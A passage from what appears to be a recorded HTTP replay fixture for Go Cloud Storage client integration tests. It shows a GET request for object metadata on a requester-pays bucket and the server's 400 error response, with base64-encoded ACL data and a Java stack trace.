IwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "d04d3cb2ac9d6376", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12183" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:53 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:53 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrcH6PdfDpm0th9SnZgYwMYIiYGYz2VvNs-Nb0VYFbZdA4QXfOJiRFg-xKqmDq09HRt7j8OwTDO7UMm2EiqwjPz7j_JPIvfcCzfCnVVoF3XiZFomuQ" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjMwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkdldE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0T2JqZWN0LmphdmE6NzApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZ2V0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo4MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTozMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjcwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmdldChPYmplY3RzRGVsZWdhdG9yLmphdmE6ODEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTozMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjcwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmdldChPYmplY3RzRGVsZWdhdG9yLmphdmE6ODEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTozMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjcwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmdldChPYmplY3RzRGVsZWdhdG9yLmphdmE6ODEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU